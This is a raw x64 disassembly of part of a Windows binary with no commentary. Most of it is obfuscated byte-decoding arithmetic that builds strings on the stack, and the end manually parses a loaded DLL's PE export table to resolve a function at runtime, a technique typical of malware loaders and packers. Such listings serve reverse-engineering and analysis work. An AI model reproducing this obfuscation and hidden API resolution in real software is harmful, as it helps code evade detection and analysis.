inc r9
dec rsi
inc rsi
jmp 0x1400fd073
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x2e
jmp 0x1400fda0c
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400fd702
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
add r13b, 0x5f
jmp 0x1400fd577
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400fd736
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
sub r13b, 0x6a
movzx eax, byte [rbp + rsi - 0x78]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fd073
inc rax
cmp r8, rax
jne 0x1400fd75e
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
jmp 0x1400fdaa6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400fd78e
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, r11b
dec rsi
inc rsi
jmp 0x1400fd073
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400fd7bd
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
sub r13b, 0x38
inc r9
dec rsi
inc rsi
jmp 0x1400fd073
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400fd577
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x7a
jmp 0x1400fda0c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400fd80d
lea edx, [r10 - 0x57]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
add r13b, 0x61
add r13b, dl
jmp 0x1400fda0c
inc rax
cmp r8, rax
jne 0x1400fd832
add r10b, 0x61
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
add r13b, 0x59
jmp 0x1400fda6b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400fd52c
lea edx, [r10 - 0x43]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
sub r13b, 0x2b
add r13b, dl
jmp 0x1400fdaa6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400fd896
sub r10b, 0x74
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
movzx eax, byte [rbp + rsi - 0x78]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fd073
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400fd8c0
add r10b, 0x16
movzx eax, r11b
and al, r10b
mov ecx, 0x33
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
jmp 0x1400fda6e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400fd8ea
add r10b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
jmp 0x1400fda6b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400fd4eb
sub r10b, 0x32
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
inc r9
dec rsi
inc rsi
jmp 0x1400fd073
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
sub r13b, 0x68
add r13b, r11b
add r13b, dl
add r10b, 0x6f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 9
add r11b, r10b
add r11b, r13b
mov byte [rbp + rsi - 0x78], r11b
jmp 0x1400fda6b
lea edx, [r10 - 0x7a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
jmp 0x1400fdaa6
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 3
jmp 0x1400fdaa6
sub r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
add r13b, 0x3f
jmp 0x1400fda6e
add r10b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
add r13b, 5
dec rsi
inc rsi
jmp 0x1400fd073
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x77
jmp 0x1400fda0c
movzx r10d, sil
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
add r13b, 0xd
add r10b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x39
add r11b, r10b
mov byte [rbp + rsi - 0x78], r11b
inc r9
dec rsi
inc rsi
jmp 0x1400fd073
lea ecx, [rsi + 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x6f
dec rsi
inc rsi
jmp 0x1400fd073
lea ecx, [rsi - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
add r13b, 0x15
add r8, r9
movzx eax, r13b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400fd073
movabs rax, 0x806c64009b6625a1
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea r13d, [r11 + rax]
sub r13b, 0x67
movzx r10d, sil
sub r10b, 0x63
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4b
add cl, r10b
movzx eax, cl
mov byte [rbp + rsi - 0x78], al
inc r9
add rax, r9
sub rsi, rax
lea edx, [rsi - 0x4c]
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rsi - 0x78], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi - 0x78]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fd073
movabs rax, 0x5b9c2adbb0505945
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea r13d, [r11 + rax]
add r13b, 0x1d
movzx eax, byte [rbp + rsi - 0x78]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fd073
sub r10b, 0xd
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
add r13b, 0x5b
jmp 0x1400fd070
sub r10b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
sub r13b, 0x63
jmp 0x1400fd060
lea rdx, [rbp + 0x16952fc]
jmp 0x1400fdb8b
lea rdx, [rbp + 0x16ec613]
jmp 0x1400fdb8b
lea rdx, [rbp - 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400fdb92
lea rcx, [rbp - 0x38]
call fcn.140003110
mov r14, rax
mov dword [rsp + 0x30], 0xef32c0a
mov dword [rsp + 0x34], 0x2d031a0e
mov dword [rsp + 0x38], 0x1f04000f
mov byte [rsp + 0x3c], WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x4d], eax
mov word [rsp + 0x51], ax
nop dword [rax + rax]
mov r9, qword [0x14022c4b8]
mov r10, qword [0x14022c4b0]
nop
mov rsi, r15
cmp rsi, 0x23
jae 0x1400fe71e
movzx r11d, byte [rsp + rsi + 0x30]
mov r8d, r11d
cmp r9, rsi
ja 0x1400fe715
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400fdc35
lea rcx, [rsi + 0x125ef]
mov rax, rcx
and rax, r8
imul r12, rax, 0xfffffffffffffffe
add r12, rcx
add r12, r8
add r12b, 0x77
jmp 0x1400fdc6f
je 0x1400fe6ad
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400fe67c
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400fe646
lea rax, [r10 + 4]
cmp r9, rax
je 0x1400fe626
lea rax, [r10 + 6]
cmp r9, rax
je 0x1400fe5ea
movzx eax, sil
cmp r10, rsi
ja 0x1400fe70c
lea rcx, [r10 + 0x80]
cmp r9, rcx
jae 0x1400fdc9f
lea edx, [rax - 0x65]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x3d
jmp 0x1400fdce0
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x1400fe5d3
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x1400fe5b4
lea rcx, [r10 + 6]
cmp r9, rcx
je 0x1400fe59b
lea rcx, [r10 + 7]
cmp r9, rcx
je 0x1400fe527
lea rcx, [r10 + 5]
cmp r9, rcx
je 0x1400fe500
lea rcx, [r10 + r9]
cmp rcx, rsi
jbe 0x1400fe21a
nop dword [rax]
lea rcx, [r10 + 0x5a]
cmp r9, rcx
je 0x1400fe1f9
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
je 0x1400fe1d2
lea rcx, [r10 + 0x28]
cmp r9, rcx
je 0x1400fe1b3
lea rcx, [r10 + 6]
cmp r9, rcx
je 0x1400fe199
lea rcx, [r10 + 0x2a]
cmp r9, rcx
je 0x1400fe17d
lea rcx, [r10 + 0x400]
cmp r9, rcx
je 0x1400fe164
lea rcx, [r10 + 0x40]
cmp r9, rcx
je 0x1400fe14a
lea rcx, [r10 + 8]
cmp r9, rcx
je 0x1400fe131
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x1400fe10a
lea rcx, [r10 + 0x1000]
cmp r9, rcx
je 0x1400fdcf0
lea r9, [r10 + 0x200]
lea r10, [r9 + 0x42]
lea rcx, [r10 + 0x20]
cmp r9, rcx
jb 0x1400fe6f2
lea rcx, [r10 + 5]
cmp r9, rcx
jb 0x1400fe6d8
lea rcx, [r10 + 0x5a]
cmp r9, rcx
jb 0x1400fdee1
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
jb 0x1400fdec7
lea rcx, [r10 + 0x28]
cmp r9, rcx
jb 0x1400fdead
lea rcx, [r10 + 6]
cmp r9, rcx
jb 0x1400fe0c3
lea rcx, [r10 + 0x2a]
cmp r9, rcx
jb 0x1400fe079
lea rcx, [r10 + 0x400]
cmp r9, rcx
jb 0x1400fe041
lea rcx, [r10 + 0x40]
cmp r9, rcx
jb 0x1400fe020
lea rcx, [r10 + 8]
cmp r9, rcx
jb 0x1400fdcf0
lea r9, [r10 + 4]
lea r10, [r9 + 1]
lea rcx, [r10 + 0x41]
cmp r9, rcx
ja 0x1400fdff9
lea rcx, [r10 + 0x200]
cmp r9, rcx
ja 0x1400fdfe0
lea rcx, [r10 + 0x20]
cmp r9, rcx
ja 0x1400fdfc6
lea rcx, [r10 + 5]
cmp r9, rcx
ja 0x1400fdfa8
lea rcx, [r10 + 0x5a]
cmp r9, rcx
ja 0x1400fdf87
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
ja 0x1400fdf66
lea rcx, [r10 + 0x28]
cmp r9, rcx
ja 0x1400fdf42
lea rcx, [r10 + 6]
cmp r9, rcx
ja 0x1400fdf1b
lea rcx, [r10 + 0x2a]
cmp r9, rcx
ja 0x1400fdefa
lea rcx, [r10 + 0x400]
cmp r9, rcx
ja 0x1400fdcf0
lea r9, [r10 + 0x80]
lea r10, [r9 + 0x40]
jmp 0x1400fdcf0
lea edx, [rax - 0x3b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x63
jmp 0x1400fdce0
lea edx, [rax - 0x19]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x51
jmp 0x1400fdc73
add al, 9
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x3f
jmp 0x1400fdc06
lea r8d, [rax - 0x28]
movzx ecx, r8b
and cl, r11b
mov edx, recv
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe603
sub al, 6
movzx ecx, al
and cl, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
inc r10
dec rsi
inc rsi
jmp 0x1400fdbf3
add al, 0x1c
movzx ecx, al
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
dec rsi
inc rsi
jmp 0x1400fdbf3
lea r8d, [rax + 0x3e]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe65f
add al, 0x60
movzx ecx, al
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
add r9, r10
jmp 0x1400fe694
sub al, 0x7e
movzx ecx, al
and cl, r11b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
jmp 0x1400fe694
lea edx, [rax - 0x5c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x7c
jmp 0x1400fe53c
sub al, 0x3a
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x6a
jmp 0x1400fe55d
sub al, 0x18
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x58
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
add al, 0x3d
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
add r12b, 0x55
mov byte [rsp + rsi + 0x30], r12b
inc rsi
jmp 0x1400fdbf3
lea edx, [rax + 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x67
cmp r10, 0x41
jb 0x1400fe034
lea edx, [rax + 0x3a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea r12d, [rdx*2 - 0x2c]
jmp 0x1400fe603
lea edx, [rax - 0x7f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x79
cmp r9, 0x20
jae 0x1400fe4c5
lea rcx, [r10 + 9]
cmp r9, rcx
jbe 0x1400fe3fa
lea r8d, [rax - 0x72]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe056
lea edx, [rax - 0x5d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x75
lea rcx, [r10 + r9]
cmp rcx, 0x5a
je 0x1400fe4e5
lea rcx, [r10 + 0x61]
cmp r9, rcx
jbe 0x1400fe318
lea edx, [rax - 0xd]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x5b
jmp 0x1400fe08e
sub al, 0x5e
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x6e
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
sub al, 0x3c
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x5c
jmp 0x1400fe55d
lea edx, [rax - 0x1a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x4a
jmp 0x1400fe53c
add al, 8
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x38
jmp 0x1400fe694
add al, 0x2a
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x26
add r9, r10
jmp 0x1400fe694
lea edx, [rax + 0x4c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x14
jmp 0x1400fe65f
add al, 0x6e
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 2
dec rsi
inc rsi
jmp 0x1400fdbf3
sub al, 0x70
movzx ecx, al
and cl, r11b
mov edx, 8
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
inc r10
dec rsi
inc rsi
jmp 0x1400fdbf3
lea r8d, [rax - 0x4e]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe603
lea rdx, [r10 + 6]
cmp r9, rdx
jae 0x1400fe23d
lea edx, [rax - 0x11]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x77
jmp 0x1400fe0d8
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400fe26d
add al, 0x36
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x7a
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400fe297
lea r8d, [rax - 0xe]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe53c
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x1400fe2c1
sub al, 0x52
movzx ecx, al
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
add r9, r10
jmp 0x1400fe694
cmp r9, rdx
jne 0x1400fe2e7
lea r8d, [rax - 0x74]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe65f
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x1400fe0d8
add al, 0x6a
movzx ecx, al
and cl, r11b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
dec rsi
inc rsi
jmp 0x1400fdbf3
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400fe33b
lea edx, [rax - 0x2f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x49
jmp 0x1400fe603
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400fe35e
lea edx, [rax + 0x6b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x13
jmp 0x1400fe65f
lea rcx, [r10 + 4]
cmp r9, rcx
jne 0x1400fe382
add al, 0x49
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
inc r12b
add r9, r10
jmp 0x1400fe694
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x1400fe3a4
add al, 0x27
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x11
jmp 0x1400fe694
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x1400fe3c6
sub al, 0x1d
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x35
jmp 0x1400fe55d
lea rcx, [r10 + 9]
cmp r9, rcx
jne 0x1400fe08e
sub al, 0x3f
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x47
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400fe42f
add al, 0x6c
movzx ecx, al
and cl, r11b
mov edx, 6
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, al
add r12b, r11b
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
inc rcx
cmp r9, rcx
jne 0x1400fe450
add al, 0x4a
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 6
jmp 0x1400fe55d
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400fe472
add al, 6
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x2a
jmp 0x1400fe694
lea rcx, [r10 + 4]
cmp r9, rcx
jne 0x1400fe497
sub al, 0x1c
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x3c
add r9, r10
jmp 0x1400fe694
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x1400fe056
lea r8d, [rax + 0x5c]
movzx ecx, r8b
and cl, r11b
mov edx, 0x3e
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
add r12b, r11b
jmp 0x1400fe603
lea r8d, [rax + 0x18]
movzx ecx, r8b
and cl, r11b
movzx edx, r11b
sub dl, cl
add dl, 0x2c
lea r12d, [rdx + rdx]
add r12b, r8b
jmp 0x1400fe65f
lea r8d, [rax - 0xa]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea r12d, [rdx + rdx]
add r12b, r8b
jmp 0x1400fe53c
add al, 0x69
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
add r12b, 0x21
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
lea edx, [rax - 0x53]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0x45
sub al, 0x1b
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
sub al, 0x43
add al, r11b
movzx ecx, al
mov byte [rsp + rsi + 0x30], cl
inc r10
add rcx, r10
sub rsi, rcx
lea edx, [rsi - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rsp + rsi + 0x30], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rsi, rax
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
sub al, 0x31
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
add r12b, 0x57
jmp 0x1400fe694
add al, 0x35
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea r12d, [r11 + rax]
sub r12b, 0x73
dec rsi
inc rsi
jmp 0x1400fdbf3
lea edx, [rax + 0x79]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x4f
jmp 0x1400fe603
movzx eax, sil
lea edx, [rax - 0x43]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
sub r12b, 0x2b
add al, 0x29
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
sub al, 0x1f
add al, r11b
mov byte [rsp + rsi + 0x30], al
inc r10
dec rsi
inc rsi
jmp 0x1400fdbf3
lea ecx, [rsi + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 7
dec rsi
inc rsi
jmp 0x1400fdbf3
movzx eax, sil
lea edx, [rax + 0x23]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r12d, [r11 + rdx]
add r12b, 0xb
add al, 7
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
sub al, 0x31
add al, r11b
add al, r12b
mov byte [rsp + rsi + 0x30], al
add r9, r10
jmp 0x1400fe694
lea rax, [rsi + 0xa5567]
and r8b, al
add r8b, r8b
sub r11b, r8b
lea r12d, [rax + r11]
add r12b, 0x2f
movzx eax, r12b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400fdbf3
lea rax, [rsi + 0x371cd]
and r8b, al
add r8b, r8b
sub r11b, r8b
lea r12d, [rax + r11]
add r12b, 0x65
movzx eax, byte [rsp + rsi + 0x30]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400fdbf3
add al, 0x2b
movzx ecx, r11b
and cl, al
add cl, cl
sub r11b, cl
lea r12d, [rax + r11]
sub r12b, 0x2d
jmp 0x1400fdbf0
add al, 0x4d
movzx ecx, r11b
and cl, al
add cl, cl
sub r11b, cl
lea r12d, [rax + r11]
sub r12b, 0x1b
jmp 0x1400fdbe0
lea rdx, [rbp + 0x1457bc4]
jmp 0x1400fe723
lea rdx, [rbp + 0x106a1b3]
jmp 0x1400fe723
lea rdx, [rsp + 0x30]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.1400056b0
mov r9, r14
mov r8d, recv
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140058a60
nop
lea rcx, [rbp - 0x38]
call fcn.140002820
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rcx, qword [rbp - 0x10]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r11, rax
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x1400fe88a
movsxd rcx, dword [r11 + 0x3c]
cmp dword [rcx + r11], 0x4550
jne 0x1400fe88a
mov edx, dword [rcx + r11 + 0x88]
test edx, edx
je 0x1400fe88a
mov esi, dword [rdx + r11 + 0x1c]
lea r14, [r11 + rsi]
mov r9d, dword [rdx + r11 + 0x20]
add r9, r11
mov r15d, dword [rdx + r11 + 0x24]
add r15, r11
xor r10d, r10d
test esi, esi
je 0x1400fe7f3
nop dword [rax]
mov r8d, dword [r9]
add r8, r11
mov rax, qword [rbp - 0x40]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400fe7e3
inc rax
test ecx, ecx
jne 0x1400fe7d0
test edx, edx
je 0x1400fe863
inc r10d
add r9, 4
cmp r10d, esi
jb 0x1400fe7c0
lea rcx, [rbp - 0x10]
call fcn.140002820
mov r14, qword [rsp + 0x20]
xor r15d, r15d
lea rcx, [rbp + 0x10]
call fcn.140002820
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
mov rsi, qword [rbp - 0x80]
cmp eax, dword [rsi]
jb 0x1400fc410
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140196270
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov r15d, dword [r14 + rcx*4]
mov rax, qword [rbp - 0x50]
add r15, qword [rax + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp - 0x10]
call fcn.140002820
nop
lea rcx, [rbp + 0x10]
call fcn.140002820
mov rax, r15
jmp 0x1400fe836
mov rcx, qword [rdx]
mov rax, r8
xor r8d, r8d
mov rdx, qword [rax]
jmp 0x1400fc320